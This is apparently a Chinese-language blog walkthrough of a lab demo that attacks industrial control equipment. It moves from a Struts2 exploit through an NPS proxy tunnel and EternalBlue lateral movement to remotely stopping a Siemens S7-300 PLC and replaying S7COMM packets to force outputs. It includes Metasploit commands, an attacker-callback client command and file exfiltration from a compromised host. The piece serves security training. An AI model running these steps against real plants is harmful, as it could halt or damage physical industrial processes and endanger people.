【技术分享】工控攻防演示——从外网到内网控制系统设备的入侵

VSole2021-08-09 17:12:14

概述

1.实验目的

通过工控攻防演示让初学者学习web安全、内网渗透、工控安全相关知识技能

2.靶场信息

本实验通过vmware 搭建了靶场的外网和内网环境,在内网环境中,可以连接到真实的PLC进行漏洞利用。

网络拓扑如下:

该网络环境中,有两台攻击机处于模拟外网中,分别是一台 windows7 主机和 kali 主机,通过这两台主机进行漏洞利用,获取内网访问权限,进一步获取西门子PLC的控制权,从而控制城市沙盘。

演示过程

1.资产发现

登录 kali 攻击机,输入 ifconfig 查看 ip 段,

接着对该网段C段进行端口扫描

nmap -Pn -n —open 192.168.14.0/24

发现192.168.14.10 开放了 80 和 8080 端口,用浏览器分别访问这两个端口

发现80端口存在一个网站,8080端口为tomcat的默认界面。

2.目录扫描

使用kali 自带的 dirbrute 工具来对8080端口进行目录扫描

设置好字典,对 http://192.168.14.10:8080/ 点击start进行目录扫描

发现一个 test 目录

访问发现是struts2-showcase测试项目

3.Struts2 漏洞利用

出现struts2框架,可以尝试利用struts2命令执行漏洞。输入 msfconsole 打开 msf,如果第一次运行,可以先运行 msfdb init 来初始化 msf 数据库

输入 search struts2 来搜索 struts2 相关漏洞

加载struts2利用模块

接下来在msf 设置目标信息并攻击,其中 rhosts 为 struts2 网站的 ip,rport 为网站的端口,targeturi 为存在漏洞的地址。输入 exploit 开始攻击

可以看到成功获取该struts2 网站的权限,返回了一个 meterpreter shell,输入sysinfo可以看到这台主机的ip为 192.168.90.10, 是linux系统,版本为 Ubuntu 16.04。

4.Nps 内网代理

由于已经获取了位于内网的linux主机权限,可以通过这个meterpreter shell 来设置socks代理,这样就可以msf中访问内网中的其它主机和端口了。

先下载nps客户端和服务端到kali攻击机中

解压安装nps

./nps install

启动nps

nps start

访问本地Ip的8080 端口,链接为http://192.168.14.4:8080 可访问nps管理后台,输入admin/123 登录。点击添加客户端

然后在msf中上传linux_amd64_client.tar.gz客户端到内网linux主机的/tmp/目录中。

upload /root/nps/linux_amd64_client.tar.gz /tmp/nps.tar.gz

在linux主机中执行解压

回到nps后台中,展开客户端,复制客户端命令

在msf meterpreter 中执行下面命令让客户端连上服务器

execute -f /tmp/npc -a ‘-server=192.168.14.4:8024 -vkey=0fr8k4rsh8tjl8ut -type=tcp’

在后台管理处看到客户端状态是在线即成功连上nps服务器。

接着在后台管理处添加一个socks代理,输入刚才创建的客户端id,端口为1086

此时可以通过本地的1086端口的socks代理访问192.168.90.0 网段的主机。在msf中输入下面命令设置socks代理。

setg proxies socks5:127.0.0.1:1086

5.永恒之蓝横向移动

设置好到进入192.168.90.0 网段的socks代理后,可以使用msf对该网段进行扫描,先扫描永恒之蓝漏洞

发现 192.168.90.60 主机存在 ms17-010漏洞,接下来使用 ms17-010 漏洞利用模块进行攻击。由于使用了socks代理,设置反向连接payload时,要设置ReverseAllowProxy

成功获取存在永恒之蓝漏洞主机的权限。

6.信息收集-发现TIA项目

通过查看用户的桌面,发现了Sand_V16目录中存在ap16后缀名的文件。

这是西门子组态软件 TIA Portal (博途)的项目文件,是用于对西门子可编程逻辑控制器(programmable logic controller,简称PLC)进行编程控制的软件。

先下载该项目到本地,使用下面命令下载

download c:/users/admin/desktop/Sand_V16.zip

7.查看TIA项目

下载完项目后,复制出到一个 windows10系统中解压。在本地电脑上装一个TIA Portal V16,然后打开该项目,点击项目视图

可以看到该项目中有两个PLC,一个是S7-300,一个是S7-1200。本演示中主要介绍S7-300

8.西门子S7-300远程启停漏洞利用

西门子S7-300是西门子的一款可编程逻辑控制器,可编程控制器由内部CPU,指令及资料存储器、输入输出单元、电源模块、数字模拟等单元所模块化组合成。PLC可接收(输入)经过CPU处理后,发送(输出)多种类型的电气或电子信号,并使用他们来控制或监督几乎所有种类的机械与电气系统。

西门子S7-300 存在远程启停,数据重放等漏洞,可以在不进行身份认证的情况下直接对PLC进行启动、关闭和修改数据。

先获取该S7-300的IP,在项目中展开S7-300,双击设备组态,在属性中的以太网地址中查看IP地址,发现IP为192.168.30.60。

接着在获取权限的windows内网机器上ping 192.168.30.60。发现可以ping通

S7-300的端口一般是102端口,先使用msf的端口转发功能,把192.168.30.60 的102端口转发到kali攻击机上,方便访问

portfwd add -l 102 -r 192.168.30.60 -p 102

使用 nmap扫描本地102端口,发现已经转发成功了

接着在kali 攻击机上下载 isf 攻击工具,里面包含了s7-300的攻击模块,当然也可以使用其他脚本也行

运行完后,可以看到PLC进入了stop状态,也就是PLC停止了。STOP状态灯亮起

启动plc

set command 1

run

下面是PLC控制的沙盘在PLC被关闭后的效果图

直接关闭PLC,会导致正在运行的工业系统停止运行,从而导致严重的后果。可以想象一下正在运行的列车失去了控制是什么后果。

9.西门子S7-300重放攻击

西门子S7-300 没有防重放机制,只要使用wireshark等抓包工具获取了某个功能的数据包,即可重放该数据。例如Q0.6是控制沙盘中信大厦通电的输出,现在要对它单独进行修改,而不影响其它输出。可以在博途对Q0.6进行强制修改,然后抓取该数据包,进行重放即可。

在S7-300的强制表中点击监控变量,输入Q0.6,右键强制修改为0

使用wireshark抓取该数据包,发送的是S7COMM协议,该协议的详细介绍网上比较多资料,这里只对要修改的地方进行介绍,下图中 Force代表开启强制修改,Address to force 为要修改的地址,图中是Q0.6,其中Startaddress代表Q0.6的0, Bitposition 代表Q0.6的6。修改这两个数据可以修改任意输出,如Q1.1。其中的Value to force是要修改的值,在Data字段中为00,也就是要修改成0。

第一次开启强制认证时,会在PLC中创建一个对象,并且返回该对象的引用ID,下图中的Force请求响应中的Sequence number字段为4,代表创建的对象引用ID为4,后续修改强制表的时候会用到该ID。

继续强制Q0.6的值为1,可以看到发送的请求变成了Replace job,也就是修改对象,其中的 reference sequence number 为4 ,也就是修改了前面 Force 请求中创建的对象。修改的地址也是Q0.6,值为1

然后右键点击停止强制,发送了Delete job 请求,也就是删除了该强制表对象

其中的 Job reference number 为4。删除后,所有强制修改失效。

经过分析后,可以编写一个python脚本来对PLC的值进行修改。在对应的协议数据中复制tcp payload为hexstream,然后进行相应的修改并重放即可实现对指定值的修改。

下面编写一个模块脚本来对PLC的输出值进行强制修改

代码中,在Force请求发送后,会记录reference number 用于后续的修改

把脚本放在exploits/plcs/siemens/ 目录中

通过下面命令来使用

发送前S7-300的Q0.6是通电的,中信大厦正常运行

发送后S7-300的Q0.6关闭,中信大厦关闭。

直接修改PLC的关键状态,可能会导致严重的后果,如震网攻击中通过改变离心机转数来破坏伊朗的核设备。

总结

本次攻防演示中,通过模拟外网攻击进入内网环境,对控制工业设备的PLC进行了攻击。整体的攻击过程为:外网web服务器-》内网西门子工程师站-》西门子S7-300 PLC。其主要目的是针对工控安全感兴趣的爱好者学习,相互交流。

端口转发s7-300
本作品采用《CC 协议》,转载必须注明作者和本文链接
通过工控攻防演示让初学者学习web安全、内网渗透、工控安全相关知识技能。
作者 | 博智非攻研究院可编程逻辑控制器(PLC)越来越多地连接和集成到工业物联网(IIoT)中,以实现更好
工业互联网安全的落地第一步,是确保工控环境中的防护能力,之后是检测/审计能力。本次《工业互联网安全能力指南》的发布内容为报告中的工控防护能力部分,以及工控检测/审计能力部分。
最终通过登录成功后得到存在漏洞的后端接口,通过命令执行getshell。一个证书中包含了公钥、持有者信息、证明证书内容有效的签名以及证书有效期,还有一些其他额外信息。比对两个摘要,如果匹配,则说明这个证书是被CA验证过合法证书,里面的公钥等信息是可信的。为了达成目标,BurpSuite必须:生成一对公私钥,并将公钥和目标域名绑定并封装为证书。
奇安信威胁情报中心:本周高级威胁情报解读(2021.11.04~11.11)
记得他当时是在本地模拟的一个实战场景来做的这个测试实验(绕过安全防护进行端口转发)。
段时间在一次内网中遇到了一个问题,当时想了很多办法,虽然最终没能解决但是也学了很多东西。
隧道与端口转发
2021-11-18 08:26:13
如果想获得课程报名资格,请添加文末小助手微信咨询。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站协议。情况1:目标禁止出站ip如果目标主机设置了严格的策略,防火墙只允许目标内网机器主动连接公网指定的ip。这样的话,没法反弹shell。情况2:禁止出站端口Linux系统使用Linux系统自带命令探测出网端口
SSH代理转发
2022-03-04 22:03:04
浏览器开启代理SOCK5可以看到IP发生变化四、SSH本地转发网络拓扑图1.kali能与边界服务器互通。这里用ubuntu作为边界服务器sudo apt-get install openssh-server //安装SSH服务
VSole
网络安全专家